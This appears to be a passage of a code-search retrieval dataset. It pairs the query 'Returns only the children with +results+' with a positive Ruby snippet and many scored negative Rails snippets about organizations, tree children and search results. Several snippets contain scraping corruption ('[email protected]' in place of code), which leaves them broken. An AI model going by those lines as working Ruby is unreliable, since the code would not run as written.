"text": "def index\n @organizations ||= current_user.organizations\n end",
"title": ""
},
{
"docid": "3a992d6fbb8243a6993d60b0fea4dfb7",
"score": "0.6299002",
"text": "def organizers\n participants.includes(:member).where(is_organizer: true)\n end",
"title": ""
},
{
"docid": "897f1ebb197a0fe0cc48de0a30e2aa80",
"score": "0.62911665",
"text": "def managed_organizations\n if principal.try(:is_admin_or_instance_manager?)\n Organization.all\n else\n members_management_roles = roles.select do |role|\n role.has_permission?(:manage_members)\n end\n if members_management_roles.empty?\n []\n elsif members_management_roles.any?(&:all_organizations_managed?)\n Organization.all\n else\n if principal.try(:organization)\n principal.organization.self_and_descendants\n else\n []\n end\n end\n end\n end",
"title": ""
},
{
"docid": "2b47048e5d81b85fcc5412f4b2611bec",
"score": "0.6283331",
"text": "def organization\n if imagable.respond_to? :organization\n imagable.organization\n else\n creator.organization\n end\n end",
"title": ""
},
{
"docid": "f5287b0c6ebcc639a28ff90c5b866170",
"score": "0.6276971",
"text": "def index\n @user = current_user()\n @organisation = OrganisationUser.where(\"user_id = ?\", @user.id).includes(:organisation).collect(&:organisation).flatten\n\n render json: @organisation, status: 200\n end",
"title": ""
},
{
"docid": "05ff4d7569f91fd02380b677987225af",
"score": "0.62724614",
"text": "def catalog_manager_organizations\n Organization.authorized_for_catalog_manager(self.id)\n end",
"title": ""
}
] |
53b4c6e6df4bb1435bc4983c4c0c942b
|
Returns only the children with +results+
|
[
{
"docid": "857b2bdb3beb9bc8062775dcd3e27bf9",
"score": "0.8369089",
"text": "def children_with_results\n children.select(&:any_results_including_children?)\n end",
"title": ""
}
] |
[
{
"docid": "086631a8d2daa1d348abfb221e3d917d",
"score": "0.6459362",
"text": "def children\n\t\treturn self.search( :one, '(objectClass=*)' )\n\tend",
"title": ""
},
{
"docid": "d51e2e3a977f8f6be9261d8c09d75f0a",
"score": "0.6355265",
"text": "def any_results_including_children?\n races.any?(&:any_results?) || children.any?(&:any_results_including_children?)\n end",
"title": ""
},
{
"docid": "c826b7d9285a9e2d3d761b2da516d8f0",
"score": "0.63484645",
"text": "def pull_out(parent_hash)\n return parent_hash[\"results\"]\n rescue\n return []\n end",
"title": ""
},
{
"docid": "112e95daef6945bac4a5c9d30f69de95",
"score": "0.6250594",
"text": "def search_children(node, attribute, search_term)\n matches = []\n end",
"title": ""
},
{
"docid": "874f98ab62b18923b90e7db7a96ca71b",
"score": "0.6238641",
"text": "def getTestNames(results)\n path = getCollectionPath(results)\n while !(String(path).end_with? Jekyll::RESULTS_URL_PATTERN || path.root?) do\n path = path.parent\n end\n return path.children\n end",
"title": ""
},
{
"docid": "9d39c876e4de015bfd26a09c2d7a4243",
"score": "0.5964827",
"text": "def results_with_query(results)\n results.find_all do |result|\n query.all? do |attribute, value|\n result.send(attribute) == value\n end\n end\n end",
"title": ""
},
{
"docid": "ae3f6aa7d5cfa8ad91f5610a3f15c7e8",
"score": "0.59176993",
"text": "def get_childs\n childs = Category.any_in(parent_ids: [parent.id])\n\n results = Array.new\n childs.each do |child|\n results << child\n end\n\n results\n end",
"title": ""
},
{
"docid": "bf83a871eea413f53f8af7e2129d2a76",
"score": "0.5885458",
"text": "def results\n fetch unless @results\n @results\n end",
"title": ""
},
{
"docid": "4123e7632a4f7b9e2298ec3f672a307d",
"score": "0.5861433",
"text": "def filter(results)\n if params[:q].present?\n results = Project.search(results, params[:q])\n end\n \n if params[:tag].present?\n results = Project.match_tag(results, params[:tag])\n end\n \n return results\n end",
"title": ""
},
{
"docid": "e5a050cb9554674ec73b0892b8841aad",
"score": "0.5841403",
"text": "def index\n if !signed_in?\n redirect_to root_path\n end\n @children = Child.all\n if !params[:search].nil?\n @result = Child.search(params[:search])\n end\n if @result.nil? && params[:search].nil?\n @result = Child.all\n end\t \n end",
"title": ""
},
{
"docid": "43eb9ef123a5a4b1e1709295302ee269",
"score": "0.5840733",
"text": "def get_results(with_root = false)\n ret = []\n\n # Iterate over all occupied descendants and create chain data\n @occupied_descendants.each do |node|\n ret << [node.data, node.get_chain(with_root)]\n end\n\n # Return\n ret\n end",
"title": ""
},
{
"docid": "86ab501f723765f611c8a933d9edaace",
"score": "0.5839581",
"text": "def getAllChildren\n children = Tree.where(\"tree_type_id = ? AND version_id = ? AND subject_id = ? AND grade_band_id = ? AND code like ?\", tree_type_id, version_id, subject_id, grade_band_id, code+'.%')\n Rails.logger.debug(\"*** tree children: #{children.inspect}\")\n return children\n end",
"title": ""
},
{
"docid": "257edc244051705b1c050e3fe9ec9835",
"score": "0.57967174",
"text": "def search_results\r\n @browser.divs(class: 'rc').collect do |div|\r\n div.h3.a.text\r\n end\r\n end",
"title": ""
},
{
"docid": "cc71fe14c85f2854c3fde07bcc2a59ac",
"score": "0.57507205",
"text": "def all_children\n children(all: true)\n end",
"title": ""
},
{
"docid": "85a597dbd151cb9fa491da23dfdd7497",
"score": "0.5739048",
"text": "def fetch_search_results(context)\n\n params = @params\n site_id = context['__site_id']\n\n matching_ids = Node.search_ids do\n\n # Site ID\n with :site_id, site_id\n\n # Node classification\n if params['classification']\n with :classification, params['classification']\n end\n\n # Parent\n if params['scope_to']\n parent_scope = context[params['scope_to']]\n with :parent_uri, parent_scope['uri']\n elsif params['parent_uri']\n with :parent_uri, params['parent_uri']\n end\n\n # Ordering\n order_by_fields = params['order_by'].blank? ? [] : params['order_by'].split(',')\n order_by_fields.each do |order_by_field|\n\n field_name, direction = order_by_field.gsub(/[\"']/, '').strip.split(' ', 2)\n direction = 'asc' if direction.blank?\n order_by field_name.to_sym, direction.to_sym\n\n end\n\n # Limit\n if params['limit']\n paginate :page => 1, :per_page => params['limit']\n end\n\n end\n\n results = []\n matching_ids.each do |id|\n\n node = Rails.cache.fetch \"node_id:#{site_id}:#{id}\" do\n Node.where(:site_id => site_id).find(id).to_liquid\n end\n results << node\n\n end\n\n results\n\n end",
"title": ""
},
{
"docid": "3b180ee15d2bb5c09902402627998add",
"score": "0.5718785",
"text": "def results_from_search(query_results)\n ids = query_results.map do |result|\n result['id']\n end\n find_from_search(*ids)\n end",
"title": ""
},
{
"docid": "67093dbcf0f5c6faf030e923e5bc26e1",
"score": "0.5714855",
"text": "def search_results\n builder = search_builder.with(search_state)\n builder.page = search_state.page\n builder.rows = search_state.per_page\n\n builder = yield(builder) if block_given?\n response = repository.search(builder)\n\n if response.grouped? && grouped_key_for_results\n response.group(grouped_key_for_results)\n elsif response.grouped? && response.grouped.length == 1\n response.grouped.first\n else\n response\n end\n end",
"title": ""
},
{
"docid": "4975e64f5c65e1d910e159edd96bfc42",
"score": "0.56983995",
"text": "def results_list\n list = []\n begin\n self.spans(:class=>\"s3d-search-result-name\").each do |element|\n list << element.text\n end\n rescue\n list = []\n end\n list\n end",
"title": ""
},
{
"docid": "ba889574daf6203d11b0c798bb977166",
"score": "0.5697021",
"text": "def onlychildren_list\n if matches.length == 1\n [self] + matches[0].onlychildren_list\n else\n [self]\n end\n end",
"title": ""
},
{
"docid": "2e56e14e931435560d83e535fad1ceab",
"score": "0.5694411",
"text": "def process_results (results)\n\t\t\tresults.each do |result|\n\t\t\t\tresult = process_result(result)\n\t\t\tend\n\t\t\treturn results\n\t\tend",
"title": ""
},
{
"docid": "3f7dce2de4da3ed3fa5f5b99b60a8eb5",
"score": "0.5668937",
"text": "def intend_children\n children.select { |child| !child.has_class :hidden }\n end",
"title": ""
},
{
"docid": "3f7dce2de4da3ed3fa5f5b99b60a8eb5",
"score": "0.5668937",
"text": "def intend_children\n children.select { |child| !child.has_class :hidden }\n end",
"title": ""
},
{
"docid": "4703d5de5bdc655f4bc4444b09949076",
"score": "0.5663969",
"text": "def children\n dataset.nested.filter(self.class.qualified_parent_column => self.id)\n end",
"title": ""
},
{
"docid": "70242594f1e3b255f5475f7f62135b40",
"score": "0.5654792",
"text": "def children\n self.class.where('? = ANY(parent_ids)', id.to_s)\n end",
"title": ""
},
{
"docid": "b50660105c47d9e6540723dc16f5e6b2",
"score": "0.5636998",
"text": "def results_list\n list = []\n begin\n self.spans(:class=>\"s3d-search-result-name\").each do |element|\n list << element.text\n end\n rescue\n list = []\n end\n return list\n end",
"title": ""
},
{
"docid": "0c2f8353f3a5dcff66d99a8d72f1b7dd",
"score": "0.5633571",
"text": "def children(options={})\n @global_page.children.all options\n end",
"title": ""
},
{
"docid": "0110868fcef575f1128f7cc5a3a6e125",
"score": "0.56225795",
"text": "def find_with(results, with = nil)\n ret = QueryResult.new\n ret << results if results\n ret << with if with\n ret.flatten!\n\n ret.size == 1 ? ret[0] : ret\n end",
"title": ""
},
{
"docid": "e0170b6deda5cdaaca46a63a3d47b9e8",
"score": "0.56149083",
"text": "def results\n populate\n @results\n end",
"title": ""
},
{
"docid": "78c029890c0af40587b938281aab372f",
"score": "0.5608169",
"text": "def all_children\n find_all_children_with_dotted_ids\n end",
"title": ""
},
{
"docid": "901329bc8db36a1b7dedbc6e3bc4a705",
"score": "0.5604465",
"text": "def children()\n #Ressource.filter(:parent_id => self.id, :parent_service_id => self.service_id).all\n end",
"title": ""
},
{
"docid": "9360739e29807be5dabc29df66688dc9",
"score": "0.56037074",
"text": "def results\n @results\n end",
"title": ""
},
{
"docid": "721ff5be94bb4a67ccb71b5d5c81ccc0",
"score": "0.5596805",
"text": "def races_with_results\n races.select(&:any_results?)\n end",
"title": ""
},
{
"docid": "00fc44a95e7de3bb33eefb36b9c40b18",
"score": "0.55955565",
"text": "def all_children\n return @all_children if !@all_children.nil?\n @all_children = PhotoCollection.all_urls.find_all{|url| url[self.url] && url != self.url}.collect{|url| PhotoCollection.find_by_url(url)}\n end",
"title": ""
},
{
"docid": "6004a1d7802b92d26d5b6a97c1849865",
"score": "0.5580833",
"text": "def find_entities(results)\n document = ::Nokogiri::XML(results.body)\n document.remove_namespaces!\n document.xpath('//entry')\n end",
"title": ""
},
{
"docid": "63a4e9140092812b3a0bdef093809d21",
"score": "0.55798084",
"text": "def get_search_results\n\t\twait_until_page_loads\n\t\[email protected]_elements(@locs[:results_item])\n\tend",
"title": ""
},
{
"docid": "a8cc4d3b5729a99ebe363f78fd9f4523",
"score": "0.55758077",
"text": "def children\n return @children if [email protected]?\n @children = all_children.find_all{|collection| collection.url.count('/') == self.url.count('/') + 1}\n end",
"title": ""
},
{
"docid": "2d3594faf9610ae91204cb7f5c1ca3b9",
"score": "0.55724025",
"text": "def results\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_results(filter: \"first=1 rows=#{MAX_RESULTS} task_id=#{id}\", details: 1)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end",
"title": ""
},
{
"docid": "d0450ec12ce6647e2394d3ff70d6ef7b",
"score": "0.55617714",
"text": "def get_children(params)\n scope_data_class(params) do\n params[:limit] = config[:rows_per_page] if config[:enable_pagination] && (params[:id].nil? || params[:id] == 'root')\n params[:scope] = config[:scope]\n data_adapter.get_records(params, final_columns)\n end\n end",
"title": ""
},
{
"docid": "deb4ab18b802a32eb42fd85cca6188e3",
"score": "0.5545835",
"text": "def children(all: false)\n scoped_children =\n if at_or_below_genus?\n Name.with_correct_spelling.subtaxa_of_genus_or_below(text_name)\n else\n Name.with_correct_spelling.\n with_rank_and_name_in_classification(rank, text_name)\n end\n\n return scoped_children.to_a if all\n\n Name.all_ranks.reverse_each do |rank2|\n next if rank_index(rank2) >= rank_index(rank)\n\n matches = scoped_children.with_rank(rank2)\n return matches.to_a if matches.any?\n end\n []\n end",
"title": ""
},
{
"docid": "e5a51ce366831fc0f94feae4fbd50095",
"score": "0.5543194",
"text": "def descendants(result = nil, depth = 0)\n \n if (result.nil?)\n result = Hash.new\n end\n \n children.each do |kid|\n node = Array.new\n node[0] = kid\n kid_spice = kid.spice\n if (!kid_spice.nil? && kid_spice.length > 0)\n # TBD: I know there is a Ruby way to copy an array but can't look it up on the plane - just copy myself for now\n spouse_list = Array.new\n kid_spice.each do |s|\n spouse_list << s\n end\n node[1] = spouse_list\n end\n result[node] = depth\n kid.descendants(result, depth + 1)\n end \n \n return result\n \n end",
"title": ""
},
{
"docid": "e9587179a6ba96bb225fe329cd71aa7e",
"score": "0.554214",
"text": "def find_selected_childentries(userid)\n @entries = Entry.find(:all, :conditions => [\"user_id=? and parent_id = ? \", userid, self.id])\n \n \n return @entries\n end",
"title": ""
},
{
"docid": "6b65745f40752ebef04d57b9545349bd",
"score": "0.5505996",
"text": "def children\n entries\n end",
"title": ""
},
{
"docid": "c0da3dae0c521cd148df6a9bbe984f65",
"score": "0.55057126",
"text": "def search_results\n pages = Alchemy::PgSearch.config[:page_search_scope].pages\n # Since CanCan cannot (oh the irony) merge +accessible_by+ scope with pg_search scopes,\n # we need to fake a page object here\n if can? :show, Alchemy::Page.new(restricted: true, public_on: Date.current)\n pages.full_text_search(params[:query])\n else\n pages.not_restricted.full_text_search(params[:query])\n end\n end",
"title": ""
},
{
"docid": "a24e914cd033deb2b6b45a9203b7b9bb",
"score": "0.5504653",
"text": "def targeted_app_results\n selected_app_results.where(account_path: selected_app_results.first.account_path)\n .page(0).per(10)\n end",
"title": ""
},
{
"docid": "8b40e5b783a29c81ee6de7f92f84c18c",
"score": "0.5498198",
"text": "def get_results()\n restriction_nodes = []\n result_nodes = []\n if !(@inputs.nil? || @inputs.empty? || @inputs.first.empty?)\n input_set = @inputs.first\n restriction_nodes= input_set.nodes\n result_nodes = input_set.breadth_first_search(true){|node| node.item.text.downcase.include?(@keyword_phrase.to_s.downcase)} \n end\n \n if !@inplace\n results = @server.match_all(parse_keyword_phrase(), restriction_nodes) \n result_nodes = results.map{|item| Xplain::Node.new(item: item)}\n end\n \n result_nodes\n \n end",
"title": ""
},
{
"docid": "b24ecb99eed031c612381a9fd623513d",
"score": "0.5496802",
"text": "def get_childs(recursive, ret_obj)\n\n return self.class.get_childs(self.id, recursive, ret_obj)\n end",
"title": ""
},
{
"docid": "13e18c8f9d407ed8fa5b10c34c815ba7",
"score": "0.5492112",
"text": "def search_results(load: true)\n Pseud.search(body: search_body, load: load)\n end",
"title": ""
},
{
"docid": "f423406fecceb56072ee608fb55302f5",
"score": "0.5472839",
"text": "def items\n parsed_contents['results'] if parsed_contents\n end",
"title": ""
},
{
"docid": "31703536d5cf4d517f40ef6fb0e15c9b",
"score": "0.54725987",
"text": "def children\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND #{acts_as_nested_set_options[:parent_column]} = #{self.id}\", :order => acts_as_nested_set_options[:left_column])\n end",
"title": ""
},
{
"docid": "6e7b1f90c5f5df0060d8ebdb4de75a4b",
"score": "0.5451623",
"text": "def test_results_filter(test_results)\n test_results.select do |tr|\n # Non TestResult items are never filtered.\n next true unless tr.kind_of?(Automation::TestDatabase::TestResult)\n entity_result(tr) != Automation::Result::Pass\n end\n end",
"title": ""
},
{
"docid": "9fa153b00284afb55e896ec3e45aff48",
"score": "0.5449418",
"text": "def results\n @@RESULT_DIRS.keys.map{ |k| result(k) }.reject{ |r| r.nil? }\n end",
"title": ""
},
{
"docid": "8ad37bf27e989aa2d6a2b4c68f4b8d3b",
"score": "0.54476523",
"text": "def children\n rows\n end",
"title": ""
},
{
"docid": "b253983c60f4b18be411252dd08fa239",
"score": "0.54160875",
"text": "def children(res)\n # delete() returns nil when nothing was removed. so use delete_if instead.\n @graph.children(Resource.id(res).hash).delete_if{|i| i == 0}.collect { |hashid| id2obj(hashid) }\n end",
"title": ""
},
{
"docid": "fc6a56d1ffa24f11f0d6ba3d5154d85f",
"score": "0.5415866",
"text": "def children\n tree_search_class.where(tree_parent_id_field => self._id).sort(self.class.tree_sort_order()).all\n end",
"title": ""
},
{
"docid": "c0f44d2e74e6296e788ec862329f9144",
"score": "0.5412725",
"text": "def search_all_results(query)\n results = []\n\n page = 1\n\n loop do\n hits = search(query, page)\n\n results.concat(hits['results'])\n\n if hits['last_page'] == page || hits['last_page'] == 0\n break\n else\n page += 1\n end\n end\n\n results\n end",
"title": ""
},
{
"docid": "b7ad161419966375305065baa362ff74",
"score": "0.5404615",
"text": "def find_all(conditions)\n @root.find_all(conditions)\n end",
"title": ""
},
{
"docid": "f5ac2f81573b3c2261753e6d1a587b1a",
"score": "0.54026186",
"text": "def all_children(special=nil)\n if special && special[:exclude]\n transaction do\n # exclude some items and all their children\n special[:exclude] = [special[:exclude]] if !special[:exclude].is_a?(Array)\n # get objects for ids\n special[:exclude].collect! {|s| s.is_a?(self.class) ? s : self.class.find(s)}\n # get all subtrees and flatten the list\n exclude_list = special[:exclude].map{|e| e.full_set.map{|ee| ee.id}}.flatten.uniq.join(',')\n if exclude_list.blank?\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND (#{acts_as_nested_set_options[:left_column]} > #{self[acts_as_nested_set_options[:left_column]]}) and (#{acts_as_nested_set_options[:right_column]} < #{self[acts_as_nested_set_options[:right_column]]})\", :order => acts_as_nested_set_options[:left_column])\n else\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND id NOT IN (#{exclude_list}) AND (#{acts_as_nested_set_options[:left_column]} > #{self[acts_as_nested_set_options[:left_column]]}) and (#{acts_as_nested_set_options[:right_column]} < #{self[acts_as_nested_set_options[:right_column]]})\", :order => acts_as_nested_set_options[:left_column])\n end\n end\n else\n self.class.find(:all, :conditions => \"#{acts_as_nested_set_options[:scope]} AND (#{acts_as_nested_set_options[:left_column]} > #{self[acts_as_nested_set_options[:left_column]]}) and (#{acts_as_nested_set_options[:right_column]} < #{self[acts_as_nested_set_options[:right_column]]})\", :order => acts_as_nested_set_options[:left_column])\n end\n end",
"title": ""
},
{
"docid": "67232897733e4aaee82ba4eb0ec9e95f",
"score": "0.5399836",
"text": "def children#WORKING\n if self.adult == true\n self.related_users.select{|user| user.adult == false}\n else\n return []\n end\n end",
"title": ""
},
{
"docid": "176dc9503a903152b508025aa0fa57c9",
"score": "0.5396683",
"text": "def search_results\n @term = sname = request.query_parameters[\"search\"].to_s.downcase\n data = search_term(sname)\n @top = []\n @rest = []\n data[:results].each do |type|\n type[:matches].each do |hit|\n if hit[:score] >= 1.0\n @top << hit\n else\n @rest << hit\n end\n end\n end\n @top.sort! { |a, b| b[:score] <=> a[:score] }\n @rest.sort! { |a, b| b[:score] <=> a[:score] }\n render \"site/results\"\n end",
"title": ""
},
{
"docid": "aa435538d8819b776059808a48e76b9f",
"score": "0.53873485",
"text": "def competition_results\n results.select(&:competition_result?)\n end",
"title": ""
},
{
"docid": "80ed3e75931db7ef0565f3334b809870",
"score": "0.5375885",
"text": "def children\n render json: { status: 'ok', content: [] }\n end",
"title": ""
},
{
"docid": "f2b28e0853908e7f483a23559f0dc935",
"score": "0.5353439",
"text": "def get_children\n return children\n end",
"title": ""
},
{
"docid": "bea7616ce3647f79e4f8c5e1f82caff2",
"score": "0.53454584",
"text": "def search_results(*args)\n ranks_and_ids = search_result_ranks_and_ids(*args)\n search_results_from_ids(ranks_and_ids.map(&:last))\n end",
"title": ""
},
{
"docid": "bee7482103bda3b0a0aa409b0b153063",
"score": "0.53407544",
"text": "def results\n @results ||= Results.new(self)\n end",
"title": ""
},
{
"docid": "553284e9fa18e352920c6df4a1ebdf9b",
"score": "0.5338578",
"text": "def results\n index.results\n end",
"title": ""
},
{
"docid": "5fed9e77c596525caf4447b0295061bc",
"score": "0.53340656",
"text": "def get_all_child_lists\n child_check\n \n if @all_child_terms.nil? and @all_child_names.nil?\n @all_child_terms = []\n @all_child_names = []\n \n self.children.each do |child|\n @all_child_terms.push( child.term )\n @all_child_terms.push( child.all_child_terms )\n @all_child_names.push( child.term_name )\n @all_child_names.push( child.all_child_names )\n end\n \n @all_child_terms = @all_child_terms.flatten.uniq\n @all_child_names = @all_child_names.flatten.uniq\n end\n end",
"title": ""
},
{
"docid": "5078030983d86190fd4197e1a8711930",
"score": "0.53201115",
"text": "def ascendants(result = nil, depth = 0)\n \n if (result.nil?)\n result = Hash.new\n end\n \n parents.each do |par|\n node = Array.new\n node[0] = par\n par_spice = par.spice\n if (!par_spice.nil? && par_spice.length > 0)\n # TBD: I know there is a Ruby way to copy an array but can't look it up on the plane - just copy myself for now\n spouse_list = Array.new\n par_spice.each do |s|\n spouse_list << s\n end\n node[1] = spouse_list\n end\n result[node] = depth\n par.ascendants(result, depth + 1)\n end \n \n return result\n \n end",
"title": ""
},
{
"docid": "06fa0fbf39141aec4d27f4190d137ee0",
"score": "0.5314848",
"text": "def fetch_children\n @children = []\n for item in self.listex\n if item[\"type\"] == \"folder\" and item[\"id\"]!=@id #sharefile API includes self in list\n @children << Folder.new(item[\"id\"], @authid, @subdomain, false, item)\n elsif item[\"type\"] == \"file\"\n @children << File.new(item[\"id\"], @authid, @subdomain, item)\n end\n end\n end",
"title": ""
},
{
"docid": "65b352ee8d90955d820d5905f05ed2fc",
"score": "0.5309465",
"text": "def all_children(options = {})\n conditions = \"(#{nested_set_left} > #{self[nested_set_left]}) and (#{nested_set_right} < #{self[nested_set_right]})\"\n if options[:exclude]\n transaction do\n # exclude some items and all their children\n options[:exclude] = [options[:exclude]] if !options[:exclude].is_a?(Array)\n # get objects for ids\n options[:exclude].collect! {|s| s.is_a?(nested_set_class) ? s : nested_set_class.find(s)}\n # get all subtrees and flatten the list\n exclude_list = options[:exclude].map{|e| e.full_set.map{|ee| ee.id}}.flatten.uniq\n conditions += \" AND id NOT IN (#{exclude_list.join(',')})\" unless exclude_list.empty?\n end\n end\n nested_set_class.find_with_nested_set_scope(:all, :conditions => conditions, :order => nested_set_left)\n end",
"title": ""
},
{
"docid": "1fd9e6c0292f9490a5e41d9a2fadd09c",
"score": "0.5305418",
"text": "def while_results(&block)\n loop do\n results = get![:results]\n break if results.nil? || results.empty?\n results.each(&block)\n end\n end",
"title": ""
},
{
"docid": "bc775c26fd78ebf424813787ff3725e0",
"score": "0.5305057",
"text": "def children(options={:type => nil, :get_dataset => false, :recursive => false, :keep_cache => true, :reload => false, :preconditions => {:hidden => false}})\n return @children_cache if @children_cache and !options[:get_dataset] and !options[:reload]\n klass = Ecore::db[:documents]\n if options[:type]\n raise(TypeError, \":type must be an Ecore::DocumentResource\") unless options[:type].respond_to?(:table_name)\n klass = Ecore::db[:\"#{options[:type].table_name}\"]\n end\n query = klass.store_preconditions((@user_obj || @group_ids || @user_id),nil,self,nil,(options[:preconditions] || {:hidden => false}))\n query = ( options[:recursive] ? query.where(:path.like(\"#{absolute_path}%\")) : query.where(:path => absolute_path) )\n return query if options[:get_dataset]\n children_cache = query.order(:position,:name).receive(:all)\n return children_cache if options[:keep_cache]\n @children_cache = children_cache\n end",
"title": ""
},
{
"docid": "b6aebb421e8002354207803bff263ef3",
"score": "0.53045493",
"text": "def js_listing(res)\n # One day I'll get to deprecate Ruby 2.2 and jump into the world of Hash#dig.\n return nil unless res[:json] && res[:json][:data] && res[:json][:data][:things]\n Models::Listing.new(@client, children: res[:json][:data][:things])\n end",
"title": ""
},
{
"docid": "bef86e40721cbff544be172f15db8e7c",
"score": "0.530108",
"text": "def all\n load[:results]\n end",
"title": ""
},
{
"docid": "acc96f3ef333d0254e2f8ff7e666476e",
"score": "0.52987915",
"text": "def results_as_objects(results)\n results_as_objects = []\n results.each do |result_hash|\n results_as_objects << self.new(result_hash)\n end\n return results_as_objects \n end",
"title": ""
},
{
"docid": "fa2fd0cb7660c4d320fc950a3a5ccfb5",
"score": "0.52791107",
"text": "def each\n current_result = self\n begin \n last_result = current_result\n current_result.elements[:results].each do |result|\n\t# The collection of refs we are holding onto could grow without bounds, so dup\n\t# the ref\n\tyield result.dup\n end\n current_result = current_result.next_page if current_result.more_pages?\n end while !last_result.equal? current_result\n end",
"title": ""
},
{
"docid": "c0b39325cee3552815aa56a91007a512",
"score": "0.5278987",
"text": "def reify_results(ids)\n results = []\n \n ids_hash = {}\n ids.each do |class_name, id|\n (ids_hash[class_name] ||= []) << id\n end\n \n ids.map {|ary| ary.first}.uniq.each do |class_name|\n klass = class_name.constantize\n \n finder = (\n Ultrasphinx::Search.client_options['finder_methods'].detect do |method_name| \n klass.respond_to? method_name\n end or\n # XXX This default is kind of buried, but I'm not sure why you would need it to be \n # configurable, since you can use ['finder_methods'].\n \"find_all_by_#{klass.primary_key}\"\n )\n\n records = klass.send(finder, ids_hash[class_name])\n \n unless Ultrasphinx::Search.client_options['ignore_missing_records']\n if records.size != ids_hash[class_name].size\n missed_ids = ids_hash[class_name] - records.map(&:id)\n msg = if missed_ids.size == 1\n \"Couldn't find #{class_name} with ID=#{missed_ids.first}\"\n else\n \"Couldn't find #{class_name.pluralize} with IDs: #{missed_ids.join(',')} (found #{records.size} results, but was looking for #{ids_hash[class_name].size})\"\n end\n raise ActiveRecord::RecordNotFound, msg\n end\n end\n \n records.each do |record|\n results[ids.index([class_name, record.id])] = record\n end\n end\n \n # Add an accessor for global search rank for each record, if requested\n if self.class.client_options['with_global_rank']\n # XXX Nobody uses this\n results.each_with_index do |result, index|\n if result\n global_index = per_page * (current_page - 1) + index\n result.instance_variable_get('@attributes')['result_index'] = global_index\n end\n end\n end\n\n # Add an accessor for distance, if requested\n if self.options['location']['lat'] and self.options['location']['long']\n results.each_with_index do |result, index|\n if result\n distance = (response[:matches][index][:attributes]['@geodist'] or INFINITY)\n result.instance_variable_get('@attributes')['distance'] = distance\n end\n end\n end\n \n results.compact!\n \n if ids.size - results.size > Ultrasphinx::Search.client_options['max_missing_records']\n # Never reached if Ultrasphinx::Search.client_options['ignore_missing_records'] is false due to raise\n raise ConfigurationError, \"Too many results for this query returned ActiveRecord::RecordNotFound. The index is probably out of date\" \n end\n \n results \n end",
"title": ""
},
{
"docid": "446450357aca8494f8fc815a83b96a58",
"score": "0.5277615",
"text": "def items\n @document.xpath('//results/page/items/*')\n end",
"title": ""
},
{
"docid": "397ee627353af71919886d262b56d1f8",
"score": "0.5266681",
"text": "def results\n @results ||= Results.new(klass, self)\n end",
"title": ""
},
{
"docid": "cc69cef04955d71b4c4c072ec9fb298b",
"score": "0.5266501",
"text": "def children\n self.class.find(:all, \n :select => \"a.*\",\n :joins => \"a join #{self.class.bridge_class.table_name} b on a.id = b.#{self.class.parent_foreign_key}\", \n :conditions => [\"b.#{self.class.child_foreign_key} = ? and b.#{self.class.levels_from_parent} = 1\", self.id])\n end",
"title": ""
},
{
"docid": "09cd008e04ccf618435e5ce38c11a18d",
"score": "0.5257604",
"text": "def results\n if cookies[:fit_my_4x4].present?\n @vehicle_filter = JSON.parse(cookies[:fit_my_4x4]).with_indifferent_access\n\n if params[:id].present?\n @this_category = Category.friendly.find(params[:id])\n\n @products = @this_category.leaves.map { |c| c.products.active.includes(:vehicles).references(:vehicles).where('refinery_ironman_vehicles.id in (?)', @vehicle_filter.values) }.flatten.paginate(:page => params[:page], :per_page => 12)\n\n if @this_category.depth == 0\n @category = @this_category\n elsif @this_category.depth == 1\n @category = @this_category.parent\n @subcategory = @this_category\n elsif @this_category.depth == 2\n @category = @this_category.parent.parent\n @subcategory = @this_category.parent\n @sub_subcategory = @this_category\n end\n\n else\n @products = Refinery::Ironman::Product.active.includes(:vehicles).references(:vehicles).where('refinery_ironman_vehicles.id in (?)', @vehicle_filter.values).order('refinery_ironman_products.name').paginate(:page => params[:page], :per_page => 12)\n end\n end\n\n present(@page)\n end",
"title": ""
},
{
"docid": "7a33d508286cba8ee66543677d4b52e0",
"score": "0.5256107",
"text": "def children(*args)\n self.class.send(:with_scope, :find=>{:conditions=>['parent_node_id=?', self.child_node_id]}) do\n self.class.find(:all, *args)\n end\n end",
"title": ""
},
{
"docid": "5e811fa8094b0baf11d4ffd93d01474b",
"score": "0.52551657",
"text": "def list_results(**opt)\n # May be overridden by the subclass.\n end",
"title": ""
},
{
"docid": "2b32b6f0621a1e604623a5b4140e1767",
"score": "0.5254611",
"text": "def get_children(pi)\n response = Net::HTTP.get_response URI.parse(URI.escape(SERVICE_DCMDB + \"work/\" + pi + \"/children\"))\n children = Array.new\n case response\n when Net::HTTPSuccess\n doc = Document.new(response.body)\n XPath.each(doc, \"//workpid\") { |el|\n children.push(el.text)\n } \n end\n\n return children\n\n end",
"title": ""
},
{
"docid": "d0bea1b568d84fdbc5831976ed3862a2",
"score": "0.52508616",
"text": "def children\n Feature.find(:all, :conditions => [ 'parent_id=?', self.id] )\n end",
"title": ""
},
{
"docid": "d3ae58be2b19d1bfc4f087fbcb497acc",
"score": "0.52506214",
"text": "def children\n result = []\n @children.each do |_, child_group|\n result.concat(child_group)\n end\n\n result\n end",
"title": ""
},
{
"docid": "7f1f50aba2d3a7bc433a0e57656da299",
"score": "0.5244021",
"text": "def completed?\n children.present? && (children_with_results.size == children.count)\n end",
"title": ""
},
{
"docid": "8bfa096e6dd65630ba8ce920746f91d4",
"score": "0.5236872",
"text": "def children\n models = tests + tags\n models << background if background\n\n models\n end",
"title": ""
},
{
"docid": "199de37aa45535ca819ace508a309b18",
"score": "0.5236291",
"text": "def children\n EarLogger.instance.log \"Finding children for #{self}\"\n ObjectManager.instance.find_children(self.id, self.class.to_s)\n end",
"title": ""
},
{
"docid": "618d3edad920465dddf07a18e68c302c",
"score": "0.5231823",
"text": "def results_for_division(division)\n if division == :all\n @results\n else\n sections = @festival_info.sections(division)\n @results.select { |section, result| sections.include? section }\n end\n end",
"title": ""
},
{
"docid": "122b83e099122c7d798f322794949135",
"score": "0.5224764",
"text": "def fetch_results_for(search_term)\n if params['tag'] #limited to args, sorted differently\n @show_search_title = true\n return(SearchResult.find_args_with_tag(params['tag'])) \n end\n \n return [] if search_term.blank?\n \n SearchResult.find(search_term, current_user)\n end",
"title": ""
},
{
"docid": "deb381898a071a610cf0eccf54e13162",
"score": "0.52190435",
"text": "def collect_child_elements(memo = [])\n memo\n end",
"title": ""
},
{
"docid": "deb381898a071a610cf0eccf54e13162",
